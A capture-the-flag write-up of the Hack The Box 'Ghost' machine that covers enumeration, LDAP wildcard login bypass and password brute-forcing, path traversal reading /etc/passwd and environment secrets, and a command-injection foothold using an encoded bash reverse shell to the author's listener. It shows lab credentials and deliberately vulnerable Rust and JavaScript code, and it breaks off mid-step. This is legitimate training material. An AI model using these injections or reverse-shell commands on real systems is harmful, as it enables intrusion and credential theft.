HTB Machine - Ghost
Summary:
Ghost is the toughest box I’ve faced so far, it took me weeks to complete (and much longer to create this writeup). It involves exploiting and pivoting between several interconnected web apps, Linux containers and an AD forest environment. Many AD services and attacks are still new to me, so I often found myself getting stuck. This is especially true for ticket-based attacks, understanding the entire flow and interaction can be quite a head-scratcher.
Enumeration:
Nmap:
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ sudo nmap --min-rate 1000 -p- 10.129.231.105 Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-14 18:13 ACDT Nmap scan report for 10.129.231.105 Host is up (0.34s latency). Not shown: 65508 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 443/tcp open https 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 2179/tcp open vmrdp 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server 5985/tcp open wsman 8008/tcp open http 8443/tcp open https-alt 9389/tcp open adws 49443/tcp open unknown 49664/tcp open unknown 49669/tcp open unknown 49677/tcp open unknown 51774/tcp open unknown 60249/tcp open unknown 60388/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 199.07 seconds ┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ sudo nmap -A -p 53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49669,49677,51774,60249,60388 10.129.231.105 Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-14 18:23 ACDT Nmap scan report for 10.129.231.105 Host is up (0.34s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-14 07:53:30Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 443/tcp open https? 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM | ms-sql-ntlm-info: | 10.129.231.105:1433: | Target_Name: GHOST | NetBIOS_Domain_Name: GHOST | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: ghost.htb | DNS_Computer_Name: DC01.ghost.htb | DNS_Tree_Name: ghost.htb |_ Product_Version: 10.0.20348 |_ssl-date: 2025-01-14T07:55:24+00:00; 0s from scanner time. | ms-sql-info: | 10.129.231.105:1433: | Version: | name: Microsoft SQL Server 2022 RTM | number: 16.00.1000.00 | Product: Microsoft SQL Server 2022 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-01-14T07:41:07 |_Not valid after: 2055-01-14T07:41:07 2179/tcp open vmrdp? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.ghost.htb | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb | Not valid before: 2024-06-19T15:45:56 |_Not valid after: 2124-06-19T15:55:55 |_ssl-date: TLS randomness does not represent time 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: GHOST | NetBIOS_Domain_Name: GHOST | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: ghost.htb | DNS_Computer_Name: DC01.ghost.htb | DNS_Tree_Name: ghost.htb | Product_Version: 10.0.20348 |_ System_Time: 2025-01-14T07:54:49+00:00 | ssl-cert: Subject: commonName=DC01.ghost.htb | Not valid before: 2025-01-13T07:38:19 |_Not valid after: 2025-07-15T07:38:19 |_ssl-date: 2025-01-14T07:55:24+00:00; 0s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 8008/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Ghost |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-generator: Ghost 5.78 | http-robots.txt: 5 disallowed entries |_/ghost/ /p/ /email/ /r/ /webmentions/receive/ 8443/tcp open ssl/http nginx 1.18.0 (Ubuntu) |_ssl-date: TLS randomness does not represent time | tls-nextprotoneg: |_ http/1.1 | ssl-cert: Subject: commonName=core.ghost.htb | Subject Alternative Name: DNS:core.ghost.htb | Not valid before: 2024-06-18T15:14:02 |_Not valid after: 2124-05-25T15:14:02 | tls-alpn: |_ http/1.1 | http-title: Ghost Core |_Requested resource was /login |_http-server-header: nginx/1.18.0 (Ubuntu) 9389/tcp open mc-nmf .NET Message Framing 49443/tcp open unknown 49664/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 51774/tcp open msrpc Microsoft Windows RPC 60249/tcp open msrpc Microsoft Windows RPC 60388/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2025-01-14T07:54:51 |_ start_date: N/A TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 349.55 ms 10.10.14.1 2 343.20 ms 10.129.231.105 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 131.79 seconds
The scan results are typical of a domain controller, with DNS, Kerberos, SMB and LDAP all open. RDP and WInRM ports are also open, which could be leveraged for initial access. The LDAP scan identified the hostname dc01.ghost.htb, and a subdomain core.ghost.htb was also found in the SSL cert of a web server.
I’ll add all of them in /etc/hosts.
# HTB machine Ghost
10.129.231.105 ghost.htb dc01.ghost.htb core.ghost.htb
Speaking of web servers, looks like there’s 4 in total! Two of them are running Nginx with an Ubuntu label, which suggests that they are hosted inside Linux containers.
Web Apps Overview:
Port 80 returned a 404, while port 443 never responded.

Port 8008 is a Ghost CMS page, with a single post by Kathryn Holland.

Running a virtual host scan would identify two more subdomains: gitea and intranet.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ gobuster vhost -u http://ghost.htb:8008 -w /usr/share/seclists/Discovery/DNS/namelist.txt -t 50 -o bust/vhost_bq --append-domain =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://ghost.htb:8008 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/DNS/namelist.txt [+] User Agent: gobuster/3.6 [+] Timeout: 10s [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== Found: gitea.ghost.htb:8008 Status: 200 [Size: 13653] Found: intranet.ghost.htb:8008 Status: 307 [Size: 3968] [--> /login]
gitea.ghost.htb is a standard Gitea installation with two users. Not much could be done without valid creds.


intranet.ghost.htb looks like a custom-built app, but also requires authentication.

core.ghost.htb on port 8443 is another custom-built application. Authentication is handled by AD Federation Service.

Clicking on Login redirects me to federation.ghost.htb, which can be accessed after adding the subdomain to /etc/hosts. It is yet another login page.

The app is using SAML authentication, based on the SAMLRequest parameter. SAML is an XML-based standard for Single Sign-On (SSO), and when used with ADFS, it enables users to authenticate directly with their domain account.
In general, this type of authentication is more secure than password-based ones, as it’s very difficult to forge/bypass without control of ADFS.
TCP8008 - Intranet
Custom apps are often the easiest entrypoint, so I’ll start with Intranet first.

I tried logging in with a few default credentials, but it all failed. However, the POST request showed something interesting.

The parameters for username and password are 1_ldap-username and 1_ldap-secret respectively, suggesting that credentials are stored in LDAP instead of a database, and each login request would query LDAP to compare the credentials.
LDAP Wildcard Abuse:
If the username and password are used directly in the LDAP query, the application is highly likely to be vulnerable to LDAP injection. A pretty well-known example of this is wildcard abuse, where an attacker inputs a wildcard character (*) to bypass all filters or validation checks implemented on the backend.
In the login POST request, by setting both the username and password as an asterisk, the server is tricked to authenticate me and returned a session token.

Using the token, I can log in to Intranet as kathryn.holland:

The News page mentions an ongoing Git migration and the Intranet portal development. The key takeaway is that gitea_temp_principal is the only enabled account on Gitea, and it shares the same password as the Intranet account.
Credentials for the site are also said to be temporary, so it’s unlikely they can be reused for domain authentication.

The Users tab shows a list of all Intranet users. Based on the “Member of” column, they seem to also be domain users, and justin.bradley is in the Remote Management Users group.
I’ll note them all down, as these may be useful for password spraying later on.

Forums contains several discussion threads. The top one is complaining about connection issues to bitbucket.ghost.htb, which Kathryn explained it’s due to a missing DNS entry.
Gitea Password Brute-Force:
That pretty much covers all of Intranet, I haven’t found anything beyond what’s already mentioned. The next thing to look at is Gitea, but I’ll need to find the password of gitea_temp_principal first.
To do this, I’ll exploit the wildcard injection differently. Rather than bypassing login, the wildcard can be leveraged to recover the password itself. For example, if the password is “abcd”, inputs of “*”, “a*”, “ab*” or “abc*” would all result in successful authentication. By using this logic, an attacker can programmatically iterate through the key space and recover the password character-by-character.
I’ve created a Python script for the brute-forcing, which can be found here. While I’m at it, I might as well recover the passwords for all Intranet users:
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ python3.11 ldap_brute.py kathryn.holland cassandra.shelton robert.steeves florence.ramirez justin.bradley arthur.boyd beth.clark charles.gray jason.taylor intranet_principal gitea_temp_principal [*] Brute-forcing password for kathryn.holland... [*] Testing value: fgevlfymxrksvu9b; [+] Password for kathryn.holland found: fgevlfymxrksvu9b [*] Brute-forcing password for cassandra.shelton... [*] Testing value: zdjx9fh57cbc4xcr; [+] Password for cassandra.shelton found: zdjx9fh57cbc4xcr [*] Brute-forcing password for robert.steeves... [*] Testing value: deerdxk8p2xnukxl; [+] Password for robert.steeves found: deerdxk8p2xnukxl [*] Brute-forcing password for florence.ramirez... [*] Testing value: tc6nhytlemglqoat; [+] Password for florence.ramirez found: tc6nhytlemglqoat [*] Brute-forcing password for justin.bradley... [*] Testing value: rbhuycyjxfjp4c69; [+] Password for justin.bradley found: rbhuycyjxfjp4c69 [*] Brute-forcing password for arthur.boyd... [*] Testing value: lhhx3kylwqdjxjqp; [+] Password for arthur.boyd found: lhhx3kylwqdjxjqp [*] Brute-forcing password for beth.clark... [*] Testing value: qdcskgpdhyb4jfv6; [+] Password for beth.clark found: qdcskgpdhyb4jfv6 [*] Brute-forcing password for charles.gray... [*] Testing value: lwfpjgzlcyx64kdl; [+] Password for charles.gray found: lwfpjgzlcyx64kdl [*] Brute-forcing password for jason.taylor... [*] Testing value: qudsvb6kvcxuumaq; [+] Password for jason.taylor found: qudsvb6kvcxuumaq [*] Brute-forcing password for intranet_principal... [*] Testing value: rvxyrc2okalucrep; [+] Password for intranet_principal found: rvxyrc2okalucrep [*] Brute-forcing password for gitea_temp_principal... [*] Testing value: szrr8kpc3z6onlqf; [+] Password for gitea_temp_principal found: szrr8kpc3z6onlqf
With gitea_temp_principal’s password, I can log in and access an organization ghost-dev:

It contains two repositories: blog and intranet.

I’ve also attempted to reuse these creds for domain login. As expected though, none of them worked.
Gitea - Blog:

This repo contains 4 files related to the ongoing development of the integration between the Ghost blog and Intranet. The Readme notes that the integration uses an API key stored as an environment variable, as well as showing the key used for accessing Ghost’s API endpoints.
posts-public.js is a modified version of Ghost CMS’s source code. This version has additional functionalities that pulls data from local files when users query post information.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ diff original-posts-public.js htb-posts-public.js 26,31d25 < /** < * < * @param {import('@tryghost/api-framework').Frame} frame < * @param {object} options < * @returns {object} < */ 61,63c55 < < /** @type {import('@tryghost/api-framework').Controller} */ < const controller = { --- > module.exports = { 111c103 < query(frame) { --- > async query(frame) { 116c108,117 < return postsService.browsePosts(options); --- > const posts = await postsService.browsePosts(options); > const extra = frame.original.query?.extra; > if (extra) { > const fs = require("fs"); > if (fs.existsSync(extra)) { > const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" }); > posts.meta.extra = { [extra]: fileContent }; > } > } > return posts; 183,184d183 < < module.exports = controller;
The file read implementation looks quite dodgy, and possibly vulnerable to LFI given the extra parameter is directly used in fs.readFileSync().
Ghost API Path Traversal:
According to the API docs, a POST request to /ghost/api/content/posts/ would return a list of posts alongside some metadata:
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a' -s | jq { "posts": [ { "id": "65bdd2dc26db7d00010704b5", "uuid": "22db47b3-bbf6-426d-9fcf-887363df82cf", "title": "Embarking on the Supernatural Journey: Welcome to Ghost!", "slug": "embarking-on-the-supernatural-journey-welcome-to-ghost", "html": "<p>Greetings, fellow seekers of the unknown!</p><p>It is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries that lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexplained.</p><h2 id=\"why-ghost\">Why Ghost?</h2><p>The quest to understand the supernatural has been etched into the fabric of human history. From ancient legends to modern-day tales, the fascination with ghosts and the paranormal is a thread that binds us across time and cultures. Ghost emerges as a beacon for those who yearn to explore the realms beyond our comprehension.</p><h2 id=\"what-to-expect\">What to Expect</h2><p>Our digital abode is more than just a collection of stories; it's a haven for the curious, the intrepid, and the inquisitive. Here, you'll find:</p><ol><li><strong>Investigative Chronicles</strong>: Join us as we recount our journeys into haunted locations, sharing the spine-chilling encounters, unexplained phenomena, and the secrets that linger in the darkness.</li><li><strong>Tech Tuesdays</strong>: Stay at the forefront of paranormal research with our weekly dives into the latest ghost-hunting gadgets, software, and techniques. Knowledge is our strongest ally in the face of the unknown.</li><li><strong>Spotlight Series</strong>: Get to know the passionate individuals behind the investigations. Our Spotlight Series puts a face to the name, sharing the stories and expertise of our dedicated team.</li><li><strong>Community Corner</strong>: Ghost is more than a website; it's a community. Share your own supernatural experiences, theories, and questions in our Community Corner. Together, we amplify the voices seeking to understand the inexplicable.</li></ol><h2 id=\"join-us-on-this-extraordinary-expedition\">Join Us on this Extraordinary Expedition</h2><p>The journey into the paranormal is not for the faint of heart, but it is a journey worth taking. As we lift the veil on the mysteries that surround us, we invite you to be an active participant in this extraordinary expedition. Engage with our content, share your thoughts, and let the spirit of exploration guide us into uncharted territories.</p><p>Ghost is not just a website; it's a portal to the enigmatic, a gateway to the supernatural, and a testament to the boundless curiosity that defines the human spirit.</p><p>Welcome to our realm. Let the haunting begin!</p><p>Happy ghost hunting,</p><p>The Ghost Team</p>", "comment_id": "659cdeec9cd6330001baefbf", "feature_image": null, "featured": true, "visibility": "public", "created_at": "2024-01-09T05:51:40.000+00:00", "updated_at": "2024-01-09T05:52:59.000+00:00", "published_at": "2024-01-09T05:52:29.000+00:00", "custom_excerpt": null, "codeinjection_head": null, "codeinjection_foot": null, "custom_template": null, "canonical_url": null, "url": "http://ghost.htb/embarking-on-the-supernatural-journey-welcome-to-ghost/", "excerpt": "Greetings, fellow seekers of the unknown!\n\nIt is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries that lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexplained.\n\n\nWhy Ghost?\n\nThe quest to understand the supernatural has been etched into the fabric of human history. From anc", "reading_time": 1, "access": true, "comments": false, "og_image": null, "og_title": null, "og_description": null, "twitter_image": null, "twitter_title": null, "twitter_description": null, "meta_title": null, "meta_description": null, "email_subject": null, "frontmatter": null, "feature_image_alt": null, "feature_image_caption": null } ], "meta": { "pagination": { "page": 1, "limit": 15, "pages": 1, "total": 1, "next": null, "prev": null } } }
The additional feature lets users specify a filename with the extra parameter, it then reads the file in /var/lib/ghost/extra/ and returns its contents, alongside other metadata. Since there’s no input sanitization, path traversal characters can be injected to read files outside the intended directory, such as /etc/passwd:
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ curl 'http://ghost.htb:8008/ghost/api/content/posts/?extra=../../../../../../../../../etc/passwd&key=a5af628828958c976a3b6cc81a' -s | jq { "posts": [ { "id": "65bdd2dc26db7d00010704b5", "uuid": "22db47b3-bbf6-426d-9fcf-887363df82cf", "title": "Embarking on the Supernatural Journey: Welcome to Ghost!", "slug": "embarking-on-the-supernatural-journey-welcome-to-ghost", "html": "<p>Greetings, fellow seekers of the unknown!</p><p>It is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries that lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexplained.</p><h2 id=\"why-ghost\">Why Ghost?</h2><p>The quest to understand the supernatural has been etched into the fabric of human history. From ancient legends to modern-day tales, the fascination with ghosts and the paranormal is a thread that binds us across time and cultures. Ghost emerges as a beacon for those who yearn to explore the realms beyond our comprehension.</p><h2 id=\"what-to-expect\">What to Expect</h2><p>Our digital abode is more than just a collection of stories; it's a haven for the curious, the intrepid, and the inquisitive. Here, you'll find:</p><ol><li><strong>Investigative Chronicles</strong>: Join us as we recount our journeys into haunted locations, sharing the spine-chilling encounters, unexplained phenomena, and the secrets that linger in the darkness.</li><li><strong>Tech Tuesdays</strong>: Stay at the forefront of paranormal research with our weekly dives into the latest ghost-hunting gadgets, software, and techniques. Knowledge is our strongest ally in the face of the unknown.</li><li><strong>Spotlight Series</strong>: Get to know the passionate individuals behind the investigations. Our Spotlight Series puts a face to the name, sharing the stories and expertise of our dedicated team.</li><li><strong>Community Corner</strong>: Ghost is more than a website; it's a community. Share your own supernatural experiences, theories, and questions in our Community Corner. Together, we amplify the voices seeking to understand the inexplicable.</li></ol><h2 id=\"join-us-on-this-extraordinary-expedition\">Join Us on this Extraordinary Expedition</h2><p>The journey into the paranormal is not for the faint of heart, but it is a journey worth taking. As we lift the veil on the mysteries that surround us, we invite you to be an active participant in this extraordinary expedition. Engage with our content, share your thoughts, and let the spirit of exploration guide us into uncharted territories.</p><p>Ghost is not just a website; it's a portal to the enigmatic, a gateway to the supernatural, and a testament to the boundless curiosity that defines the human spirit.</p><p>Welcome to our realm. Let the haunting begin!</p><p>Happy ghost hunting,</p><p>The Ghost Team</p>", "comment_id": "659cdeec9cd6330001baefbf", <..SNIP..> "frontmatter": null, "feature_image_alt": null, "feature_image_caption": null } ], "meta": { "pagination": { "page": 1, "limit": 15, "pages": 1, "total": 1, "next": null, "prev": null }, "extra": { "../../../../../../../../../etc/passwd": "root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000:Linux User,,,:/home/node:/bin/sh\n" } } }
Environment variables can be retrieved by reading /proc/self/environ:
"extra": {
"../../../../../../../../../proc/self/environ": "HOSTNAME=26ae7990f3dd\u0000<..SNIP..>\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000<..SNIP..>"
}
It contains the Intranet API key: !@yqr!X2kxmQ.@Xe.
Gitea - Intranet

intranet contains the full source code of the Intranet portal. As suspected earlier, the user passwords are stored in plaintext as an LDAP attribute intranetSecret and queried using a non-parameterized filter.
backend/src/api/ldap.rs:
use ldap3::{Scope, SearchEntry};
use rocket::http::{Cookie, CookieJar};
use rocket::serde::json::Json;
use time::{Duration, OffsetDateTime};
use crate::api::{ldap_error, route_error, RouteErrorRocket, RouteErrorType, LoginRequest, UserClaim};
use crate::api::ldap::ldap_bind;
async fn ldap_connect(username: &String, secret: &String) -> anyhow::Result<String, RouteErrorRocket> {
let mut ldap = ldap_bind().await?;
let dn = "CN=Users,DC=ghost,DC=htb";
let (mut rs, _res) = ldap
.search(
&dn,
Scope::Subtree,
&format!("(&(displayName={})(intranetSecret={}))", username, secret),
vec!["intranetSecret", "sAMAccountName"],
)
.await.or(Err(route_error(RouteErrorType::Unknown)))?
.success().or_else(ldap_error)?;
ldap.unbind().await.ok();
if rs.is_empty() {
return Err(route_error(RouteErrorType::NotFound));
}
let entry = SearchEntry::construct(rs.remove(0));
match entry.attrs.get("sAMAccountName") {
Some(values) => match values.get(0) {
Some(username) => Ok(username.clone()),
None => Err(route_error(RouteErrorType::Unknown))
}
None => Err(route_error(RouteErrorType::Unknown))
}
}
#[post("/login", data = "<body>")]
pub async fn login(body: Json<LoginRequest>, cookies: &CookieJar<'_>) -> anyhow::Result<(), RouteErrorRocket> {
let username = ldap_connect(&body.ldap_username, &body.ldap_secret).await?;
let claim = UserClaim::sign(UserClaim {
username: username.to_string(),
});
let mut cookie = Cookie::new("token", format!("Bearer {}", claim));
let mut now = OffsetDateTime::now_utc();
now += Duration::days(1);
cookie.set_expires(now);
cookies.add(cookie);
Ok(())
}
The Readme also mentions that /api-dev will be open until development is complete. Endpoints like these are typically implemented for ad-hoc debugging and quick fixes, often with little consideration for security. As a result they tend to hold excessive permissions and access.
backend/src/api/dev.rs:
use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};
pub(crate) mod scan;
pub struct DevGuard;
#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
type Error = ();
async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
let key = request.headers().get_one("X-DEV-INTRANET-KEY");
match key {
Some(key) => {
if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
Outcome::Success(DevGuard {})
} else {
Outcome::Error((Status::Unauthorized, ()))
}
},
None => Outcome::Error((Status::Unauthorized, ()))
}
}
}
To access the API endpoints, the Intranet key must be included as an HTTP header X-DEV-INTRANET-KEY.
/backend/src/api/dev/scan.rs:
use std::process::Command;
use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;
use crate::api::dev::DevGuard;
#[derive(Deserialize)]
pub struct ScanRequest {
url: String,
}
#[derive(Serialize)]
pub struct ScanResponse {
is_safe: bool,
// remove the following once the route is stable
temp_command_success: bool,
temp_command_stdout: String,
temp_command_stderr: String,
}
// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
// currently intranet_url_check is not implemented,
// but the route exists for future compatibility with the blog
let result = Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
match result {
Ok(output) => {
Json(ScanResponse {
is_safe: true,
temp_command_success: true,
temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
})
}
Err(_) => Json(ScanResponse {
is_safe: true,
temp_command_success: false,
temp_command_stdout: "".to_string(),
temp_command_stderr: "".to_string(),
})
}
}
There’s an under-development /scan endpoint for checking URLs in blog posts. The current implementation uses a Bash command. I’m not sure what intranet_url_check does, but it definitely looks injectable given POST data are included as part of the command.
Foothold:
Intranet API Command Injection:
The API takes a URL as JSON POST data. It returned an error since the intranet_url_check command does not exist.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ curl -X POST 'http://intranet.ghost.htb:8008/api-dev/scan' -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"http://ghost.htb"}' {"is_safe":true,"temp_command_success":true,"temp_command_stdout":"","temp_command_stderr":"bash: line 1: intranet_url_check: command not found\n"}
Given its insecure implementation, OS commands can be appended after the URL, and the server would execute it and return the output.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ curl -X POST 'http://intranet.ghost.htb:8008/api-dev/scan' -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"http://ghost.htb; whoami"}' {"is_safe":true,"temp_command_success":true,"temp_command_stdout":"root\n","temp_command_stderr":"bash: line 1: intranet_url_check: command not found\n"}
I’ll send a base64-encoded revshell command:
$ curl -X POST 'http://intranet.ghost.htb:8008/api-dev/scan' -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"http://ghost.htb; echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjkzLzgwMDEgMD4mMQ== | base64 -d | bash"}'
On my listener, it caught a root shell in a container:
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ rlwrap nc -lvnp 8001 listening on [any] 8001 ... connect to [10.10.14.93] from (UNKNOWN) [10.129.231.105] 49780 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@36b733906694:/app# id uid=0(root) gid=0(root) groups=0(root)
Container Enumeration:
root@36b733906694:/app# env DATABASE_URL=./database.sqlite HOSTNAME=36b733906694 PWD=/app HOME=/root CARGO_HOME=/usr/local/cargo LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb LDAP_HOST=ldap://windows-host:389 LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe RUSTUP_HOME=/usr/local/rustup ROCKET_ADDRESS=0.0.0.0 SHLVL=4 RUST_VERSION=1.79.0 LC_CTYPE=C.UTF-8 PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin JWT_SECRET=*xopkAGbLyg9bK_A _=/usr/bin/env
An LDAP password is found stored as environment variables. It matched for intranet_principal:
